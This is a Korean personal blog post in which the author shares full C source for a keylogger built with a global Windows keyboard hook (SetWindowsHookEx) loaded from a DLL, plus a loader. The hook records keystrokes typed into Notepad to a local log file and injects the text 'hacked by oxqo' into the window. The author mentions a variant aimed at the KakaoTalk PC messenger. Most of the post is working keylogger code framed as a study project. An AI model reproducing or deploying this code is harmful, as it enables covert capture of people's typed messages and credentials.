dll injection을 이용한 키로거

CS/기타 2016. 2. 16. 22:20

dll injection에 대해서 공부하면서 여러가지 시도해본 것중에 하나. 예전에 만들었었는데 워게임 위주로 포스팅을 하다보니 깜빡하고 있었다.

내용을 간단히 소개하면 KeyHook이라는 dll파일을 하나 생성하고 keyboard proc이라는 콜백 함수를 통해서 키보드 메시지를 후킹하고 타겟 프로세스에 대해서 로그로 기록하거나 키입력이 다른 문자를 출력하는 등 기능을 구현한다.

그리고 이 dll을 로딩시켜주는 프로그램을 만들어 KeyHook.dll 에 미리 정의해둔 HookStart, HookStop 함수를 읽어와서 후킹을 시작하고 종료시키는 내용이다.



당시 만들자마자 테스트했던 영상.

notepad와 카카오톡 pc버전 2개 프로세스를 대상으로 코드를 짰었는데 해당 프로세스가 32비트용으로 제작되었는가 64비트용으로 제작되었는가에 따라서 dll의 컴파일도 맞춰줘야 한다. 그리고 q를 받아 종료하는 로더 역시 프로세스이므로 이 프로세스도 dll과 32/64비트 호환이 되지 않으면 정상적으로 입력을 받아 종료할 수 없다. 여러가지로 허술한 프로그램이긴 하지만 그래도 winapi를 처음 공부하는 과정에서 참 뿌듯했던 결과물 중 하나다.


타겟이 notepad인것과 카카오톡인것 두가지 버전의 dll과 로더를 각각 만들었었는데 spy등으로 카카오톡 하위 윈도우 핸들을 잡아왔던거랑 몇가지 사소한 차이 빼고는 코드가 거의 같으므로 메모장을 대상으로 하는 키로거의 소스만 소개한다.


KeyHook.dll 소스코드:

// KeyHook.dll
#include "stdio.h"
#include "windows.h"

#define DEF_PROCESS_NAME  "notepad.exe"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;
FILE *f1;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
	switch (dwReason)
	{
	case DLL_PROCESS_ATTACH:
		g_hInstance = hinstDLL;
		break;

	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
extern "C"{
	LRESULT __declspec(dllexport) CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
	{
		char szPath[MAX_PATH] = { 0, };
		char *p = NULL;
		char ch;
		HWND pWnd, pEdit;

		if (nCode >= 0)
		{
			// bit 31 : 0 => key press, 1 => key release
			if (!(lParam & 0x80000000))
			{
				GetModuleFileName(NULL, szPath, MAX_PATH);
				p = strrchr(szPath, '\\');

				if (!stricmp(p + 1, DEF_PROCESS_NAME)){
					ch = (char)wParam; //wParam을 char로 강제형변환.. 대소문자 구분이 안되고 일부 깨짐
					f1 = fopen("c:\\test\\log.txt", "a"); //키보드 로그를 저장할 경로
					fputc(ch, f1); 
					fclose(f1);
					if (wParam == VK_RETURN){ //엔터가 입력된 경우 메모장의 윈도우를 얻어와 "hacked by oxqo "를 출력한다.
						pWnd = FindWindow("notepad", NULL); //메모장의 윈도우 얻어오기
						if (pWnd == NULL){
							printf("null!");
						}
						else
							pEdit = GetWindow(pWnd, GW_CHILD); //메모장의 하위 윈도우

						if (pEdit != NULL){ //메모장에 출력하는 부분...
							SendMessage(pEdit, WM_CHAR, 'h', 0);
							SendMessage(pEdit, WM_CHAR, 'a', 0);
							SendMessage(pEdit, WM_CHAR, 'c', 0);
							SendMessage(pEdit, WM_CHAR, 'k', 0);
							SendMessage(pEdit, WM_CHAR, 'e', 0);
							SendMessage(pEdit, WM_CHAR, 'd', 0);
							SendMessage(pEdit, WM_CHAR, ' ', 0);
							SendMessage(pEdit, WM_CHAR, 'b', 0);
							SendMessage(pEdit, WM_CHAR, 'y', 0);
							SendMessage(pEdit, WM_CHAR, ' ', 0);
							SendMessage(pEdit, WM_CHAR, 'o', 0);
							SendMessage(pEdit, WM_CHAR, 'x', 0);
							SendMessage(pEdit, WM_CHAR, 'q', 0);
							SendMessage(pEdit, WM_CHAR, 'o', 0); 
							SendMessage(pEdit, WM_CHAR, ' ', 0);


							return 0;
						}
						return 0; //0을 리턴하면 메시지는 정상 전달됨
					}

				}
			}

			
		}

		// 일반적인 경우에는 CallNextHookEx() 를 호출하여
		// 응용프로그램 (혹은 다음 훅) 으로 메시지를 전달함
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	}
}

#ifdef __cplusplus
extern "C" {
#endif
	__declspec(dllexport) void HookStart()
	{
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0); //후킹 시작
		printf("Hook Start\n");
	}
	__declspec(dllexport) void HookStop()
	{
		if (g_hHook)
		{
			UnhookWindowsHookEx(g_hHook); //후킹 종료
			g_hHook = NULL;
		}
	}
#ifdef __cplusplus
}
#endif

dll_loader 소스코드:

//dll 로더
#include "stdio.h"
#include "conio.h"
#include "windows.h"

#define DEF_DLL_NAME  "KeyHook.dll"
#define DEF_HOOKSTART  "HookStart"
#define DEF_HOOKSTOP  "HookStop"

typedef void(*PFN_HOOKSTART)();
typedef void(*PFN_HOOKSTOP)();

void main()
{
	HMODULE   hDll = NULL;
	PFN_HOOKSTART HookStart = NULL;
	PFN_HOOKSTOP HookStop = NULL;
	char   ch = 0;

	// KeyHook.dll 로드
	hDll = LoadLibrary("KeyHook.dll");

	// HookStrat, HookStop 함수의 주소를 얻어온다.
	HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
	HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

	// 후킹 시작
	HookStart();

	// q가 입력될때 까지 로더는 아무런 기능을 하지않고 대기
	printf("press 'q' to quit!\n");
	while (getch() != 'q');

	// 후킹 종료
	HookStop();

	// KeyHook.dll 언로드
	FreeLibrary(hDll);
}


Tags
Social